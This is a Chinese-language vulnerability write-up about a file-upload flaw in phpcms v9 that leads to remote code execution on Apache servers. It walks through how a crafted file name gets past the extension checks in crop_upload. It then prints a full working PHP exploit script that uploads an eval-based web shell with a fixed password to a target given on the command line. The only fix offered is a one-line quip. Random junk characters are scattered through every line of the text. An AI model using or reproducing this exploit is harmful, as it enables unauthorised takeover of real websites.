漏洞类型: 文件上传导致任意代码执行
% u3 s U+ N4 Y" D! V/ ~" p2 R0 q3 ~3 q" t2 D8 e+ v( h; g' A5 J" U
简要描述:& p; Y5 Y B4 ~$ {4 r' C0 m
% Q1 x6 O. W7 N8 T) Uphpcms v9 getshell (apache)0 }$ Q' q: ]+ E
详细说明:
- J6 z7 }# I- ^0 I0 _
- ~" [: t' l+ K/ m( e* |; Z漏洞文件:phpcms\modules\attachment\attachments.php
& o( a- V( B& E6 [) P7 c5 t% `) N' X" l7 C8 t
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
. n7 a" f U* Y9 u* y, b- z后缀检测:phpcms\modules\attachment\functions\global.func.php
% p1 ^+ O8 i9 p! s3 L+ F0 R" P* {8 A; ~1 q' z
6 i' I2 v: |5 M+ ~7 S
* e) c8 T8 g4 m# J- m
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
! f4 X$ s7 U# P/ I9 H
6 E& P. p! {& Z# s T关键函数:
8 j z( T2 s% K6 Q3 u" x6 x/ z, O3 p6 Y+ \: A
7 I1 [% j7 C, S2 P3 d
, g/ l4 [' C; p- C x4 D' X9 \
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 5 ?0 C, q" K; u& j' y+ q
2 K5 f* Y/ C$ ]# o% A5 `' f# V# D0 x Fileext函数是对文件后缀名的提取。9 f$ m6 I2 n( x' {
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php1 E1 e- D }; w0 _7 o
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。' K( ~! r, i% T( v
我们回到public function crop_upload() 函数中
U' E/ ^ ? Fif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();, l8 O* L+ B7 _( s. o5 Z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
$ v$ V" n9 j5 q0 n( ?+ W这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。2 T0 ^2 L$ H) A# B3 q/ j! C9 x
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
! J* ]% |" P2 \* H最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。* k* j, X/ n6 U
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# J2 h/ V% y+ ]; Q7 f漏洞证明:# w4 R' h6 V- B7 |, {+ m! A
& L/ q2 \. b1 n3 P2 }exp:
* k* J Q+ p; T- @0 i( F; I8 d
/ r$ p- _; V! _<?php) \; D* r- t# b/ I7 w
error_reporting(E_ERROR);' [" }* R5 x5 ~! c
set_time_limit(0);- Z3 p1 l+ {; }8 h) A- s7 i
$pass="ln"; A6 A, U: H5 d9 F+ f; t
print_r('1 W; Y% {9 n9 V/ C/ L
+---------------------------------------------------------------------------+* [4 D; m/ Z7 L, ` M* K$ C
PHPCms V9 GETSHELL 0DAY
( e9 q2 Q, ]; v$ ^0 ucode by L.N.2 s& [! K! k+ d3 }; |+ H
: U& n- l0 U% Q2 A' q2 uapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
6 @8 Y: @ S+ N0 e8 a" D8 S+---------------------------------------------------------------------------+& k4 f% s- N' M+ L
');
5 V/ w! n) y/ Bif ($argc < 2) {
0 R3 h& t" w9 H/ Sprint_r('
. P3 b' m- c& H ~2 g! v+---------------------------------------------------------------------------+# d' \/ i. a$ G) l, S( Y, H
Usage: php '.$argv[0].' url path, Z; t* |% l6 G0 I
' c U; m3 Q; ^0 b" s' _1 @$ Y- `
Example:4 k2 ]* [& m/ h* A. b# _* Z( O0 r8 E
1.php '.$argv[0].' lanu.sinaapp.com# k; K6 p; ^3 R0 \4 l
2.php '.$argv[0].' lanu.sinaapp.com /phpcms% s* V5 l" I* G
+---------------------------------------------------------------------------+
" h4 p2 w) u4 E1 U, I3 U: ?, a');
( U$ z: q8 y* h' n( Z& c; Rexit;; C$ Q8 q$ S/ S; g l; _6 e
}7 a7 A4 H( H6 i& a' }( H
2 J6 U( j4 _; e$ t$ H P9 \4 Z$url = $argv[1];
2 v( J* v: t' i# j% m J$path = $argv[2];9 z' j5 _ k0 b/ @; C! P9 T
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& t& B, k5 U f" k8 A1 n
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';! N6 {3 A# N/ G+ B% p( @
if($ret=Create_dir($url,$path))( A) f0 S. a$ ^* u# ?
{# o" y2 k/ @% r7 Y) n3 A4 I: h4 C: q
//echo $ret;
+ U' t3 c& I2 I/ k; U4 A$pattern = "|Server:[^,]+?|U";
; }* }8 | \5 dpreg_match_all($pattern, $ret, $matches);9 o8 u. i$ ?# _' M- V
if($matches[0][0])- B% r# x8 y3 J4 W, p. p
{
$ Z; I' l/ f6 s' Fif(strpos($matches[0][0],'Apache') == false)
$ m8 H' s3 q# E5 |; i, Y{
2 m) g. p: n7 b- Wecho "\n亲!此网站不是apache的网站。\n";exit;
+ [7 R' t& V7 d}
1 R" M, j* [- B' x}" b( `# L# n9 W5 c' h
$ret = GetShell($url,$phpshell,$path,$file);( q+ @6 o& |7 T7 P! B/ B
$pattern = "|http:\/\/[^,]+?\.,?|U";9 o6 r& p/ o9 j3 ~" K
preg_match_all($pattern, $ret, $matches);
) p7 R- B$ w2 ^if($matches[0][0])
0 C" u/ `2 {) ^+ {) T{" _( L5 q& @* b. o! w- T( p
echo "\n".'密码为: '.$pass."\n";# Z U- j) |/ j- G& U3 ?
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;8 ]( g: H# c/ M' @/ l7 X5 O- V
}2 `' e' H n7 l
else
$ r; x8 _0 J- l( O{
' W5 u0 ~) Q+ K% J U) L( y$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 b2 h' D! G0 i" O5 s+ Xpreg_match_all($pattern, $ret, $matches);
; Y" H0 \4 k& w- }# K# W8 tif($matches[0][0])! \9 K2 n; J3 T6 s! L% m' B4 f; c
{3 ~! E% i4 V: q* y8 W; G+ X
echo "\n".'密码为: '.$pass."\n";
3 g1 X9 ^- T2 }' T- a& \" r. S% aecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ [+ a$ {# {7 K4 a8 D3 D+ W}
D' N5 B% E4 T* ?; g9 nelse
% Q6 \' M3 m1 S{6 w# U8 p C' t: r
echo "\r\n没得到!\n";exit;" y) S4 t. A1 ~, C" E7 ]% f5 i
}
6 ]- Y2 P W+ k3 q1 P: X* _/ M. @* Q/ v4 e}2 }+ N5 C& j9 Q3 |; c0 S
}
3 k+ |: ?& M5 j' f% ]# v+ d7 S/ g' y0 a1 [/ {
function GetShell($url,$shell,$path,$js)
* i: Y# M/ N. u5 O5 a0 e{
5 T; h8 J" {% @& Z* }$content =$shell;$ w/ Q8 g/ C7 O
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n"; _4 }0 x- C, [( G8 X( i) `
$data .= "Host: ".$url."\r\n";
q4 {6 x) v8 v4 \( F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 I9 L' l; S$ u2 ?1 u$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, ]; C+ ]8 D$ W( c( G
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ m' m$ R; a" Y% D/ e
$data .= "Connection: close\r\n";0 f4 ^, V0 a% C2 `/ i3 H6 W( p
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";( K& u7 W# @$ D5 d4 c
$data .= $content."\r\n";
: j: C2 C9 P: F6 l$ock=fsockopen($url,80);
' t9 O e- i+ Q, r5 @- G* J) Mif (!$ock)- M, K7 I3 i6 D9 y5 W
{. i6 ]4 q! i) _! k6 k
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;4 Z' _* `- E5 r
}
* \5 F# @1 B5 \" gelse
) Z8 e" e" A \% V( W4 d{/ p9 i4 I. w+ Q+ z5 H4 x
fwrite($ock,$data);0 P `& l$ |( l: |4 l3 p' S+ r0 T1 D
$resp = '';+ V( x# U7 E( f% p+ ?/ j5 z9 x
while (!feof($ock))4 n; R" o9 h3 v! B' j
{
4 z3 k6 C9 ]8 h. y. C1 u$resp.=fread($ock, 1024);
* C8 m$ ^# j2 Q6 l) x}+ C# c: t" b( h% K2 C# `: q
return $resp;
2 D% A- m: J3 W! y( O6 O}
6 {5 X. h0 N0 a}
7 g; Q+ L% b ?0 s8 J% z' }5 F1 Q& _% E" K1 r7 M" w! l L
function Create_dir($url,$path='')" V3 n6 t( b- ]% v
{
" n& \1 c$ J8 O7 A$content ='I love you';$ F: P2 A- k% v4 s6 b
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
~+ Y. G( W6 v& i/ `$ M( R6 }$data .= "Host: ".$url."\r\n";- ?; a. i* c- r3 b' O: Q8 H
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
; M& A. ^' C/ g2 l d* w! O1 C& q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";/ s9 o7 ^- J* _ X) H# S
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";0 k: `' P! X9 \; }) |# N- U
$data .= "Connection: close\r\n";$ j' h6 R( ]( ~" h: N
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";0 F8 I) ^0 O' D, u
$data .= $content."\r\n";* c; D) X7 z- p, q
$ock=fsockopen($url,80);
# p: n* `; Z2 o1 Y( x0 |7 ?" aif (!$ock)
4 C" q, T' T, Y5 D. \; C8 Z3 X{8 v: }3 p0 [7 m' y; a
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ m& t" [8 V3 I" G3 o. s0 ~
}
% o- t& F9 o- X$ Kfwrite($ock,$data);
8 t8 B# d. [: p6 |1 k7 y$resp = '';- o7 K2 K' g* A5 H4 K% F
while (!feof($ock))( U- Q8 y2 E* t5 D. l0 b
{
Q5 U0 t# I( a- s) e0 p5 _9 L$resp.=fread($ock, 1024);9 a. ]6 ^$ W5 S6 C' p) v
}
- y( H6 |, v, I9 Yreturn $resp;
; X) a4 j& K. Y O% B}( n3 d; Y+ s( |6 g
?> $ v; s ~) J% }2 F: B4 u: K
/ ?4 M9 s# `; c% l, q9 |修复方案:
( w i, h& c2 v. D' ^5 _' `/ \: c! U2 v" T, E
过滤过滤再过滤
8 g; Z ?+ T& q$ y2 ~6 i4 g( Y; R" C5 u+ \, r" a3 W. c
|